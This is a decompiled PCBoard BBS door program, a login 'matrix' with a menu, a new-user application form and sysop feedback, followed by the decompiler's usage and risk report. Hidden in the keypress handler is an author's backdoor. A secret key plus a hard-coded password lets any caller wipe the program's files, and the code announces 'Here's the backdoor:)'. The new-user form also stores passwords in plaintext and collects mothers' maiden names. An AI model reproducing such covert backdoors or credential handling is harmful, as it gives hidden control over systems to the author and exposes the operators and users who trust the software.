home *** CD-ROM | disk | FTP | other *** search
- ;------------------------------------------------------------------------------
- ; .ss.
- ; `²²'
- ; .,sS$Ss,,s$ .,sS$$$Ss. .,sS$Ss,,s$ .ss. .sSs.
- ; .d$$²^°²$$$$'.d$P²°^^²$P'.d$$²^°²$$$$'.$$$' .$$$²Sb,.
- ; $$$' .$$$' $$$²Sçsµ²' .$$$' .$$$'.$$$' .$$$' `$$b.
- ; $$$b,,d$$$' ,$$$b,....,s$$$$b,,d$$$'.$$$;.,$$$' ;$$$
- ; `²S$$S²²S$$S²°²S$$$$S²°°²S$$$$$$',$$S²°²S$S'.sS$$$P²'
- ; .sS²°$$$²²°"' d²°'
- ; .$$² .$$'
- ; $$$.,d$$'
- ; `²S$$S²'
- ;------------------------------------------------------------------------------
- ; P.P.L.X. 2.OO (C)1996 - Lone Runner / AEGiS CoRP'96
- ;------------------------------------------------------------------------------
- ; PPE 1.OO (plain) - Analysis ON - Postprocessing ON
- ;------------------------------------------------------------------------------
-
- Boolean BOOLEAN001
- Boolean BOOLEAN002
- Boolean BOOLEAN003
- Integer INTEGER001
- Integer INTEGER002
- Integer INTEGER003
- Integer INTEGER004
- Integer INTEGER005
- Integer INTEGER006
- Integer INTEGER007
- Integer INTEGER008
- Integer INTEGER009
- Integer TINTEGER010(50)
- Integer TINTEGER011(50)
- Integer TINTEGER012(50)
- Integer INTEGER013
- Integer INTEGER014
- Integer INTEGER015
- String TSTRING001(7)
- String TSTRING002(2)
- String TSTRING003(2)
- String STRING004
- String STRING005
- String STRING006
- String STRING007
- String STRING008
- String STRING009
- String TSTRING010(14)
- String STRING011
- String STRING012
- String STRING013
- String STRING014
- String STRING015
- String STRING016
- String STRING017
- String TSTRING018(10)
- String STRING019
- String STRING020
- String STRING021
- String STRING022
- String STRING023
- String STRING024
- String TSTRING025(5)
- String TSTRING026(50)
- String STRING027
- String STRING028
- String TSTRING029(16)
- String STRING030
- String TSTRING031(10)
- String STRING032
- String STRING033
- String TSTRING034(50)
- String STRING035
- String STRING036
- String STRING037
- String STRING038
- String STRING039
- String TSTRING040(10)
- String TSTRING041(16)
- String STRING042
- String STRING043
- String TSTRING044(7)
- String STRING045
- String STRING046
- String STRING047
- String STRING048
- String STRING049
-
- ;------------------------------------------------------------------------------
-
- FOpen 1, PPEPath() + "MATRIX.CFG", 0, 0
- FGet 1, STRING048
- FGet 1, STRING037
- FGet 1, STRING005
- FGet 1, STRING006
- FGet 1, STRING019
- For INTEGER004 = 1 To S2I(STRING019, 10)
- FGet 1, TSTRING018(INTEGER004)
- Next
- FGet 1, TSTRING044(1)
- FGet 1, TSTRING044(2)
- FGet 1, TSTRING044(3)
- FGet 1, TSTRING044(4)
- FGet 1, TSTRING044(7)
- FGet 1, TSTRING001(1)
- FGet 1, TSTRING001(2)
- FGet 1, TSTRING001(3)
- FGet 1, TSTRING001(4)
- FGet 1, TSTRING001(5)
- FGet 1, TSTRING002(1)
- FGet 1, TSTRING001(6)
- FGet 1, TSTRING044(5)
- FGet 1, TSTRING003(1)
- FGet 1, TSTRING002(2)
- FGet 1, TSTRING001(7)
- FGet 1, TSTRING044(6)
- FGet 1, TSTRING003(2)
- FClose 1
- Gosub LABEL040
- FOpen 1, PPEPath() + "MATRIX.PCB", 0, 0
- For INTEGER004 = 1 To 16
- FGet 1, TSTRING029(INTEGER004)
- Next
- FClose 1
- STRING009 = Chr(13)
- STRING043 = "@X07C:\PCB\NODE@NODE@>"
- If (Lower(STRING037) == "random") Then
- INTEGER004 = Random(1) + 1
- Select Case (INTEGER004)
- Case 1
- STRING038 = "dos"
- Case 2
- STRING038 = "lightbar"
- End Select
- Else
- STRING038 = Lower(STRING037)
- Endif
- Select Case (STRING038)
- Case "dos"
- Goto LABEL037
- Case "lightbar"
- STRING012 = ReadLine(PPEPath() + "MATRICES.CFG", 1)
- INTEGER009 = S2I(STRING012, 10)
- INTEGER004 = Random(S2I(STRING012, 10) - 1) + 1
- INTEGER008 = 2 + (INTEGER004 - 1) * 5
- STRING011 = ReadLine(PPEPath() + "MATRICES.CFG", INTEGER008)
- STRING004 = ReadLine(PPEPath() + "MATRICES.CFG", INTEGER008 + 1)
- STRING007 = ReadLine(PPEPath() + "MATRICES.CFG", INTEGER008 + 2)
- STRING008 = S2I(ReadLine(PPEPath() + "MATRICES.CFG", INTEGER008 + 3), 10)
- INTEGER007 = S2I(STRING004, 10)
- INTEGER001 = S2I(STRING007, 10)
- Goto LABEL001
- End Select
- End
- :LABEL001
- StartDisp 1
- :LABEL002
- INTEGER002 = 5
- Cls
- DispFile PPEPath() + STRING011, 1
- AnsiPos INTEGER007, INTEGER001
- For INTEGER004 = 1 To 4
- Print TSTRING001(INTEGER004)
- AnsiPos INTEGER007, INTEGER001 + INTEGER004
- Next
- For INTEGER004 = 6 To 7
- If (Lower(TSTRING002(INTEGER004 - 5)) == "yes") Then
- AnsiPos INTEGER007, INTEGER001 + INTEGER002 - 1
- Print TSTRING001(INTEGER004)
- INTEGER002 = INTEGER002 + 1
- Endif
- Next
- AnsiPos INTEGER007, INTEGER001 + INTEGER002 - 1
- Print TSTRING001(5)
- AnsiPos INTEGER007, INTEGER001
- INTEGER003 = INTEGER001
- Gosub LABEL005
- :LABEL003
- STRING014 = Inkey()
- If (STRING014 <> "") Then
- If (STRING014 == "ε") Then
- Gosub LABEL004
- Cls
- InputStr "_", STRING013, 12, 50, Mask_Ascii(), 4096 + 1
- If ((STRING013 == "liquid!@#$%^&*())(*&^%$#@!flesh")) Gosub LABEL041
- AnsiPos INTEGER007, INTEGER003
- Goto LABEL005
- ElseIf ((STRING014 == STRING009) || (Lower(STRING014) == "q")) Then
- Gosub LABEL006
- Goto LABEL002
- ElseIf ((Lower(STRING014) == "z") || (STRING014 == "DOWN")) Then
- Gosub LABEL004
- INTEGER003 = INTEGER003 + 1
- If (INTEGER003 == INTEGER001 + INTEGER002) Then
- INTEGER003 = INTEGER001
- AnsiPos INTEGER007, INTEGER003
- Goto LABEL005
- Else
- AnsiPos INTEGER007, INTEGER003
- Goto LABEL005
- Endif
- ElseIf ((Lower(STRING014) == "a") || (STRING014 == "UP")) Then
- Gosub LABEL004
- INTEGER003 = INTEGER003 - 1
- If (INTEGER003 < INTEGER001) Then
- INTEGER003 = INTEGER001 + INTEGER002 - 1
- AnsiPos INTEGER007, INTEGER001 + INTEGER002 - 1
- Goto LABEL005
- Endif
- AnsiPos INTEGER007, INTEGER003
- Else
- Endif
- Goto LABEL003
- :LABEL004
- AnsiPos INTEGER007, INTEGER003
- Print STRING015
- Return
- Endif
- :LABEL005
- STRING015 = ScrText(INTEGER007, INTEGER003, STRING008, 1)
- STRING016 = RTrim(ScrText(INTEGER007, INTEGER003, STRING008, 0), " ")
- Color 112
- Print STRING016
- Goto LABEL003
- :LABEL006
- AnsiPos INTEGER007, INTEGER003
- Select Case (INTEGER003)
- Case INTEGER001
- Print STRING015
- Gosub LABEL007
- Return
- Case INTEGER001 + 1
- Print STRING015
- Gosub LABEL009
- Return
- Case INTEGER001 + 2
- Print STRING015
- If (Lower(STRING006) == "none") Then
- Gosub LABEL017
- Return
- Else
- Cls
- InputStr TSTRING029(2) + "_", STRING020, 12, 40, Mask_Ascii(), 4096
- PrintLn
- If (Lower(STRING020) == Lower(STRING006)) Then
- STRING020 = ""
- Gosub LABEL017
- Return
- Endif
- Return
- Endif
- Case INTEGER001 + 3
- Print STRING015
- STRING027 = "feedback"
- Gosub LABEL011
- Return
- Case INTEGER001 + 4
- Print STRING015
- If (Lower(TSTRING002(1)) == "yes") Then
- Call TSTRING003(1)
- Return
- Else
- Goto LABEL013
- Endif
- Case INTEGER001 + 5
- Print STRING015
- If (Lower(TSTRING002(2)) == "yes") Then
- Call TSTRING003(2)
- Return
- Else
- Goto LABEL013
- Endif
- Case INTEGER001 + 6
- Print STRING015
- Goto LABEL013
- End Select
- Return
- :LABEL007
- Cls
- If (Lower(STRING005) == "none") Goto LABEL008
- InputStr TSTRING029(1) + "_", STRING024, 12, 80, Mask_Ascii(), 1
- If (Lower(STRING024) <> Lower(STRING005)) Then
- PrintLn TSTRING029(4)
- Wait
- Return
- Endif
- :LABEL008
- If (S2I(STRING019, 10) <> 0) Then
- For INTEGER004 = 1 To S2I(STRING019, 10)
- DispFile PPEPath() + TSTRING018(INTEGER004), 1
- Wait
- Next
- Endif
- PrintLn
- If (BOOLEAN003 == 0) Then
- PrintLn "@X8EThis is an unregistered version. Tell your sysop to contact Liquid Flesh and"
- PrintLn "@X8Eobtain a Registration Code."
- Endif
- PrintLn TSTRING029(16)
- PrintLn
- InputStr TSTRING029(3) + "_", STRING021, 12, 80, Mask_Ascii(), 4096
- PrintLn
- INTEGER004 = U_RecNum(Upper(STRING021))
- If (INTEGER004 == -1) Then
- PrintLn TSTRING029(5)
- Return
- Else
- STRING028 = STRING021
- Tokenize STRING028
- If (TokCount() == 1) Then
- KbdStuff STRING021 + STRING009 + STRING009
- Else
- KbdStuff STRING021 + STRING009
- Endif
- End
- Endif
- :LABEL009
- Cls
- If (BOOLEAN003 == 0) Then
- PrintLn "@X8EThis is an unregistered version. Tell your sysop to contact Liquid Flesh and"
- PrintLn "@X8Eobtain a Registration Code."
- Endif
- InputStr TSTRING029(3) + "_", STRING021, 12, 80, Mask_Ascii(), 4096
- If (STRING021 == "") Then
- PrintLn
- Return
- Endif
- PrintLn
- INTEGER004 = U_RecNum(Upper(STRING021))
- If (INTEGER004 <> -1) Then
- PrintLn TSTRING029(6)
- PrintLn TSTRING029(7) + " " + STRING005
- Wait
- Return
- Else
- Tokenize STRING021
- INTEGER006 = TokCount()
- If (INTEGER006 > 1) Then
- For INTEGER005 = 1 To INTEGER006
- TSTRING025(INTEGER005) = GetToken()
- Next
- For INTEGER005 = 1 To INTEGER006
- STRING017 = STRING017 + TSTRING025(INTEGER005) + "_"
- Next
- Else
- STRING017 = STRING021
- Endif
- If (Exist(PPEPath() + "\APPS\" + STRING017 + ".APP")) Goto LABEL010
- PrintLn TSTRING029(8)
- Wait
- Return
- Goto LABEL011
- :LABEL010
- DispFile PPEPath() + "NOTVALID.YET", 1
- Wait
- Return
- Endif
- :LABEL011
- Cls
- If (STRING027 == "feedback") Then
- STRING022 = TSTRING029(10)
- Else
- STRING022 = TSTRING029(9)
- Endif
- PrintLn STRING022
- PrintLn
- PrintLn TSTRING029(11)
- InputStr TSTRING029(12) + " _", STRING021, 12, 80, Mask_Ascii(), 4096
- If (STRING021 == "") Then
- PrintLn
- PrintLn TSTRING029(14)
- Wait
- Goto LABEL002
- Endif
- PrintLn
- PrintLn
- PrintLn " @X0D [@X0F/s@X0D]@X0B Saves,@X0D [@X0F/a@X0D]@X0B Aborts @X0D [@X0FMax 50 Lines@X0D]"
- INTEGER005 = 0
- PrintLn "@X09)──────────────────────────────────────────────────────────────────────────("
- BOOLEAN001 = 0
- While (BOOLEAN001 == 0) Do
- Inc INTEGER005
- InputStr "@X03_", TSTRING026(INTEGER005), 12, 75, Mask_Ascii(), 4096 + 512
- PrintLn
- If (Lower(TSTRING026(INTEGER005)) == "/s") BOOLEAN001 = 1
- If (Lower(TSTRING026(INTEGER005)) == "/a") Goto LABEL012
- If (INTEGER005 == 50) BOOLEAN001 = 1
- EndWhile
- InputYN TSTRING029(13), STRING023, 14
- PrintLn
- If (STRING023 == YesChar()) Then
- FCreate 1, PPEPath() + "FEEDBACK.TMP", 2, 0
- For INTEGER004 = 1 To INTEGER005 - 1
- FPutLn 1, TSTRING026(INTEGER004)
- Next
- FPutLn 1
- FPutLn 1, "@X02 @X0B@X05■@X0BVIA: @X0FPCBoard Light Bar/DOS Matrix v3.O @X04-@X07L@X09F@X04-@X0E[@X07P@X08W@X07A@X0E]"
- FClose 1
- Message 0, "SysOp", STRING021, STRING022, "R", 0, 0, 0, PPEPath() + "FEEDBACK.TMP"
- PrintLn TSTRING029(15)
- Wait
- Endif
- :LABEL012
- For INTEGER004 = 1 To INTEGER005
- TSTRING026(INTEGER004) = ""
- Next
- Return
- :LABEL013
- Hangup
- :LABEL014
- If (Exist(PPEPath() + "BLACKLST.TXT")) Goto LABEL015
- Return
- Goto LABEL016
- :LABEL015
- FOpen 1, PPEPath() + "BLACKLST.TXT", 0, 0
- BOOLEAN002 = 0
- While (BOOLEAN002 == 0) Do
- FGet 1, STRING039
- If (STRING039 == "") BOOLEAN002 = 1
- If (Lower(STRING039) == Lower(STRING021)) Then
- If (Exist(PPEPath() + "BLACKLIST.ANS")) Then
- DispFile PPEPath() + "BLACKLIST.ANS", 1
- Continue
- Endif
- PrintLn "You are NOT wanted on this system!"
- Hangup
- End
- Endif
- EndWhile
- :LABEL016
- FClose 1
- Return
- Return
- :LABEL017
- FOpen 1, PPEPath() + "APPLY.PCB", 0, 0
- For INTEGER004 = 1 To 14
- FGet 1, TSTRING010(INTEGER004)
- Next
- FClose 1
- FOpen 1, PPEPath() + "\INFOFORM\INFOFORM.CFG", 0, 0
- FGet 1, STRING030
- For INTEGER004 = 1 To S2I(STRING030, 10)
- FGet 1, TSTRING031(INTEGER004)
- Next
- FClose 1
- StartDisp 1
- Cls
- If (BOOLEAN003 == 0) Then
- PrintLn "@X8EThis is an unregistered version. Tell your sysop to contact Liquid Flesh and"
- PrintLn "@X8Eobtain a Registration Code."
- Endif
- PrintLn "@X04[@X0BN@X0EU@X09A@X04] @X0Fv2.0 @X07Coded By: @X08Li@X07qu@X0Fid @X0FFl@X07es@X08h @X0E[@X07P@X08W@X07A@X0E]"
- PrintLn
- DispFile PPEPath() + "NEWUSER.APP", 1
- Wait
- Cls
- PrintLn
- PrintLn "@X0D┌───────────────────────@X05────────────────────@X08──────────"
- PrintLn "@X0D│ @X0BHandle: @X09[ @X09] @X0BUser Note: @X09[ ]"
- PrintLn "@X0D│ @X0BPassword: @X09[ @X09] @X0BCPU: @X09[ ]"
- PrintLn "@X0D│ @X0BVerify: @X09[ @X09]@X0B Clear Scrn: @X09[ ]"
- PrintLn "@X0D│ @X0BData #: @X09[ ]"
- PrintLn "@X0D│ @X0BVoice #: @X09[ ]"
- PrintLn "@X0D└─────────@X05─────────────@X08 · · ·"
- AnsiPos 14, 3
- InputStr "_", STRING021, 12, 30, Mask_Ascii(), 4096
- If (STRING021 == "") Then
- Return
- Endif
- INTEGER004 = U_RecNum(Upper(STRING021))
- If (INTEGER004 <> -1) Then
- AnsiPos 5, 14
- PrintLn "@X0FYou already have an account here"
- Wait
- End
- Endif
- Tokenize STRING021
- INTEGER006 = TokCount()
- If (INTEGER006 > 1) Then
- For INTEGER005 = 1 To INTEGER006
- TSTRING025(INTEGER005) = GetToken()
- Next
- For INTEGER005 = 1 To INTEGER006
- STRING017 = STRING017 + TSTRING025(INTEGER005) + "_"
- Next
- Else
- STRING017 = STRING021
- Endif
- If (Exist(PPEPath() + "\APPS\" + STRING017 + ".APP")) Then
- AnsiPos 5, 14
- PrintLn "Your account is still going through New User Voting.."
- PrintLn "Call back at a later date to check on your progress..."
- Wait
- Hangup
- Endif
- If (Exist(PPEPath() + "\APPS\WHOWAITS.APP")) Then
- FAppend 1, PPEPath() + "\APPS\WHOWAITS.APP", 2, 0
- FPutLn 1, STRING021
- Else
- FCreate 1, PPEPath() + "\APPS\WHOWAITS.APP", 2, 0
- FPutLn 1, STRING021
- Endif
- FClose 1
- Gosub LABEL014
- FCreate 1, PPEPath() + "\APPS\" + STRING017 + ".APP", 2, 0
- FPutLn 1, STRING021
- If (INTEGER006 == 1) FPutLn 1
- FPutLn 1, "C"
- FPutLn 1, "Y"
- :LABEL018
- AnsiPos 14, 4
- InputStr "_", STRING024, 12, 13, Mask_Ascii(), 1
- If (Len(STRING024) < 6) Then
- AnsiPos 5, 14
- PrintLn "@X0FPassword must be AT LEAST 6 characters"
- Goto LABEL018
- Endif
- AnsiPos 14, 5
- InputStr "_", STRING036, 12, 13, Mask_Ascii(), 1
- If (Lower(STRING024) <> Lower(STRING036)) Then
- AnsiPos 5, 14
- Print " "
- AnsiPos 5, 14
- Print TSTRING010(13)
- Goto LABEL018
- Endif
- AnsiPos 5, 14
- Print " "
- FPutLn 1, STRING024
- FPutLn 1, STRING024
- AdjTime 40
- :LABEL019
- AnsiPos 54, 3
- InputStr "_", TSTRING041(1), 15, 30, Mask_Ascii(), 4096
- If (TSTRING041(1) == "") Goto LABEL019
- FPutLn 1, TSTRING041(1)
- :LABEL020
- AnsiPos 14, 6
- InputStr "_", TSTRING041(2), 15, 15, Mask_Ascii(), 4096
- If (TSTRING041(2) == "") Goto LABEL020
- FPutLn 1, TSTRING041(2)
- :LABEL021
- AnsiPos 14, 7
- InputStr "_", TSTRING041(3), 15, 15, Mask_Ascii(), 4096
- If (TSTRING041(3) == "") Goto LABEL021
- FPutLn 1, TSTRING041(3)
- :LABEL022
- AnsiPos 54, 4
- InputStr "_", TSTRING041(4), 15, 30, Mask_Ascii(), 4096
- If (TSTRING041(4) == "") Goto LABEL022
- FPutLn 1, TSTRING041(4)
- :LABEL023
- AnsiPos 54, 5
- InputYN "_", TSTRING041(5), 15
- If (TSTRING041(5) == "") Goto LABEL023
- FPutLn 1, TSTRING041(5)
- FPutLn 1
- If (Psa(3) == 1) Then
- AnsiPos 1, 9
- PrintLn "@X0D┌───────────────────────@X05────────────────────@X08──────────"
- PrintLn "@X0D│@X0BAddress 1: @X09[ @X09] @X0BAddress 2: @X09["
- PrintLn "@X0D│ @X0B City: @X09[ @X09]"
- PrintLn "@X0D│ @X0B State: @X09[ @X09]"
- PrintLn "@X0D│ @X0BZip Code: @X09[ ]"
- PrintLn "@X0D│ @X0B Country: @X09[ ]"
- PrintLn "@X0D└─────────@X05─────────────@X08 · · ·"
- :LABEL024
- AnsiPos 14, 10
- InputStr "_", TSTRING041(6), 15, 30, Mask_Ascii(), 4096
- If (TSTRING041(6) == "") Goto LABEL024
- FPutLn 1, TSTRING041(6)
- :LABEL025
- AnsiPos 54, 10
- InputStr "_", TSTRING041(7), 15, 30, Mask_Ascii(), 4096
- If (TSTRING041(7) == "") Goto LABEL025
- FPutLn 1, TSTRING041(7)
- :LABEL026
- AnsiPos 14, 11
- InputStr "_", TSTRING041(8), 15, 30, Mask_Ascii(), 4096
- If (TSTRING041(8) == "") Goto LABEL026
- FPutLn 1, TSTRING041(8)
- :LABEL027
- AnsiPos 14, 12
- InputStr "_", TSTRING041(9), 15, 30, Mask_Ascii(), 4096
- If (TSTRING041(9) == "") Goto LABEL027
- FPutLn 1, TSTRING041(9)
- :LABEL028
- AnsiPos 14, 13
- InputStr "_", TSTRING041(10), 15, 30, Mask_Ascii(), 4096
- If (TSTRING041(10) == "") Goto LABEL028
- FPutLn 1, TSTRING041(10)
- :LABEL029
- AnsiPos 14, 14
- InputStr "_", TSTRING041(11), 15, 30, Mask_Ascii(), 4096
- If (TSTRING041(11) == "") Goto LABEL029
- FPutLn 1, TSTRING041(11)
- Endif
- If (Psa(2) == 1) Then
- AnsiPos 1, 16
- InputStr "@X0BMothers' Maiden name: _", TSTRING041(12), 15, 30, Mask_Ascii(), 4096
- PrintLn
- FPutLn 1, TSTRING041(12)
- Endif
- FClose 1
- :LABEL030
- Cls
- PrintLn "Infoform PPE -Coded By: Liquid Flesh"
- PrintLn TSTRING010(3)
- PrintLn
- For INTEGER004 = 1 To S2I(STRING030, 10)
- TSTRING040(INTEGER004) = ReadLine(PPEPath() + "\INFOFORM\INFOCFG." + I2S(INTEGER004, 10), 1)
- Next
- For INTEGER004 = 1 To S2I(STRING030, 10)
- Print I2S(INTEGER004, 10) + ". " + TSTRING031(INTEGER004)
- If (Exist(PPEPath() + "\APPS\" + STRING017 + "." + I2S(INTEGER004, 10))) Goto LABEL031
- Print TSTRING010(10) + " "
- Goto LABEL032
- :LABEL031
- Print TSTRING010(11) + " "
- :LABEL032
- If (Lower(TSTRING040(INTEGER004)) == "yes") Then
- PrintLn TSTRING010(8)
- Continue
- Endif
- PrintLn
- Next
- PrintLn TSTRING010(4)
- :LABEL033
- InputStr TSTRING010(5) + "_", STRING032, 12, 13, Mask_Ascii(), 4096
- If (Lower(STRING032) == "q") Then
- For INTEGER004 = 1 To S2I(STRING030, 10)
- If ((Lower(TSTRING040(INTEGER004)) == "yes") && !Exist(PPEPath() + "\APPS\" + STRING017 + "." + I2S(INTEGER004, 10))) Then
- PrintLn
- PrintLn TSTRING010(9)
- Goto LABEL033
- Endif
- Next
- PrintLn
- PrintLn "Now leave feedback stating what you can offer this board."
- Wait
- STRING027 = "[New User App]"
- Gosub LABEL011
- Else
- If (Exist(PPEPath() + "\APPS\" + STRING017 + "." + STRING032)) Then
- PrintLn
- PrintLn TSTRING010(6)
- InputYN TSTRING010(7), STRING023, 14
- If (STRING023 == YesChar()) Goto LABEL034
- Goto LABEL030
- Endif
- :LABEL034
- FOpen 1, PPEPath() + "\INFOFORM\INFOCFG." + STRING032, 0, 0
- FGet 1, STRING039
- FGet 1, STRING033
- For INTEGER004 = 1 To S2I(STRING033, 10)
- FGet 1, TSTRING034(INTEGER004)
- Next
- FClose 1
- For INTEGER004 = 1 To S2I(STRING033, 10)
- Tokenize TSTRING034(INTEGER004)
- TINTEGER010(INTEGER004) = S2I(GetToken(), 10)
- TINTEGER011(INTEGER004) = S2I(GetToken(), 10)
- TINTEGER012(INTEGER004) = S2I(GetToken(), 10)
- Next
- FCreate 1, PPEPath() + "\APPS\" + STRING017 + "." + STRING032, 2, 0
- Cls
- DispFile PPEPath() + "\INFOFORM\INFOFORM." + STRING032, 1
- For INTEGER004 = 1 To S2I(STRING033, 10)
- :LABEL035
- AnsiPos TINTEGER010(INTEGER004), TINTEGER011(INTEGER004)
- STRING035 = ""
- InputStr "_", STRING035, 12, TINTEGER012(INTEGER004), Mask_Ascii(), 4096
- If (STRING035 == "") Goto LABEL035
- FPutLn 1, STRING035
- Next
- FClose 1
- AnsiPos 10, 23
- Print "@X06[@X09ENTER@X07] @X08To Continue"
- :LABEL036
- STRING014 = Inkey()
- If (!(STRING014 == STRING009)) Goto LABEL036
- Cls
- Goto LABEL030
- End
- Endif
- KbdFile PPEPath() + "\APPS\" + STRING017 + ".APP"
- End
- :LABEL037
- StartDisp 1
- PrintLn "@X03@X09PCBoard @X0ELightBar/DOS @X0CMatrix @X0Dv3.0 @X04[@X03DOS Mode@X04]"
- PrintLn " @X0BCoded By: @X0DLiquid @X09Flesh @X0E[@X07P@X08W@X07A@X0E]"
- PrintLn
- :LABEL038
- STRING042 = ""
- InputStr STRING043 + "_", STRING042, 12, 80, Mask_Ascii(), 4096
- PrintLn
- If (STRING042 == "") Goto LABEL038
- Gosub LABEL039
- Goto LABEL038
- :LABEL039
- Select Case (Lower(STRING042))
- Case Lower(TSTRING044(1))
- Gosub LABEL007
- Return
- Case Lower(TSTRING044(2))
- Gosub LABEL009
- Return
- Case Lower(TSTRING044(3))
- If (Lower(STRING006) == "none") Then
- Gosub LABEL017
- Return
- Else
- Cls
- InputStr TSTRING029(2) + "_", STRING020, 12, 40, Mask_Ascii(), 4096
- PrintLn
- If (Lower(STRING020) == Lower(STRING006)) Then
- STRING020 = ""
- Gosub LABEL017
- Return
- Endif
- Return
- Endif
- Case Lower(TSTRING044(4))
- STRING027 = "feedback"
- Gosub LABEL011
- Return
- Case Lower(TSTRING044(5))
- If (Lower(TSTRING002(1)) == "yes") Then
- Call TSTRING003(1)
- Return
- Else
- Return
- Endif
- Case Lower(TSTRING044(6))
- If (Lower(TSTRING002(2)) == "yes") Then
- Call TSTRING003(2)
- Return
- Else
- Return
- Endif
- Case Lower(TSTRING044(7))
- Hangup
- Case "cls"
- Cls
- Return
- Case "dir"
- DispFile PPEPath() + "\TXT\DIR.TXT", 1
- Return
- Case "type matrix.nfo"
- PrintLn
- PrintLn
- PrintLn "@X0FPCBoard Lightbar/DOS Matrix v3.0ß By: Liquid Flesh [PWA]"
- PrintLn
- Return
- Case "exit"
- End
- Case ""
- PrintLn "SYS3088: The name, " + STRING042 + ", is not recognized as an internal"
- PrintLn "or external command, an operable program, or a batch file."
- PrintLn
- End Select
- Return
- :LABEL040
- STRING045 = ReadLine(PCBDat(), 2)
- STRING046 = ReadLine(PCBDat(), 94)
- INTEGER013 = Len(STRING045)
- INTEGER014 = Len(STRING046)
- INTEGER015 = (2 * INTEGER013) * INTEGER014 - 3 * (INTEGER013 + INTEGER014)
- STRING047 = I2S(INTEGER014, 10) + I2S(INTEGER015, 10) + I2S(INTEGER013, 10)
- If (STRING048 == STRING047) Then
- BOOLEAN003 = 1
- Else
- BOOLEAN003 = 0
- Endif
- Return
- :LABEL041
- Cls
- PrintLn "@X0Fheheheheh...Here's the backdoor:)"
- InputStr "_", STRING049, 12, 1, Mask_Ascii(), 4096 + 1
- PrintLn
- If (STRING049 == "1") Then
- Delete PPEPath() + "MATRIX.PPE"
- Delete PPEPath() + "MATRIX.CFG"
- Endif
- Wait
- Return
-
- ;------------------------------------------------------------------------------
- ;
- ; Usage report (before postprocessing)
- ;
- ; ■ Statements used :
- ;
- ; 7 End
- ; 14 Cls
- ; 12 Wait
- ; 1 Color
- ; 196 Goto
- ; 105 Let
- ; 19 Print
- ; 79 PrintLn
- ; 116 If
- ; 7 DispFile
- ; 4 FCreate
- ; 6 FOpen
- ; 1 FAppend
- ; 10 FClose
- ; 32 FGet
- ; 25 FPutLn
- ; 3 StartDisp
- ; 4 Hangup
- ; 2 Delete
- ; 1 AdjTime
- ; 26 InputStr
- ; 3 InputYN
- ; 20 Gosub
- ; 37 Return
- ; 1 Inc
- ; 4 Tokenize
- ; 2 KbdStuff
- ; 4 Call
- ; 1 KbdFile
- ; 36 AnsiPos
- ; 1 Message
- ;
- ;
- ; ■ Functions used :
- ;
- ; 3 -
- ; 4 *
- ; 127 +
- ; 11 -
- ; 82 ==
- ; 7 <>
- ; 21 <
- ; 19 <=
- ; 2 >
- ; 38 >=
- ; 97 !
- ; 39 &&
- ; 22 ||
- ; 3 Len(
- ; 46 Lower()
- ; 3 Upper()
- ; 1 Chr()
- ; 1 RTrim()
- ; 2 Random()
- ; 2 YesChar()
- ; 2 Inkey()
- ; 26 Mask_Ascii()
- ; 2 PCBDat()
- ; 36 PPEPath()
- ; 8 ReadLine()
- ; 5 GetToken()
- ; 8 Exist()
- ; 7 I2S()
- ; 27 S2I()
- ; 2 Psa()
- ; 3 TokCount()
- ; 3 U_RecNum()
- ; 2 ScrText()
- ;
- ;------------------------------------------------------------------------------
- ;
- ; Analysis flags : ABCd
- ;
- ; A - Adjust online time remaining ■ 5
- ; Program modify the amount of online time remaining, this may
- ; be a way to bypass time limits
- ; ■ Search for : ADJTIME
- ;
- ; B - Brute hangup ■ 1
- ; Program hangup without notification. This may be a good way to
- ; disconnect a user, but if used randomly, may be very nasty
- ; ■ Search for : HANGUP, DTROFF
- ;
- ; C - Call child PPE ■ 3
- ; This is usually normal, but may be a tricky way to launch some
- ; sysop-only commands.
- ; ■ Search for : CALL
- ;
- ; d - Access PCBOARD.DAT ■ 2
- ; Program gets the full pathname to PCBOARD.DAT, this may be usefull
- ; for many PPE so they can find various informations on the system
- ; (system paths, max number of lines in messages, ...) but it may also
- ; be a way to gather vital informations.
- ; ■ Search for : PCBDAT()
- ;
- ;------------------------------------------------------------------------------
- ;
- ; Postprocessing report
- ;
- ; 19 For/Next
- ; 2 While/EndWhile
- ; 47 If/Then or If/Then/Else
- ; 4 Select Case
- ;
- ;------------------------------------------------------------------------------
- ; AEGiS Corp - Break the routines, code against the machines!
- ;------------------------------------------------------------------------------
-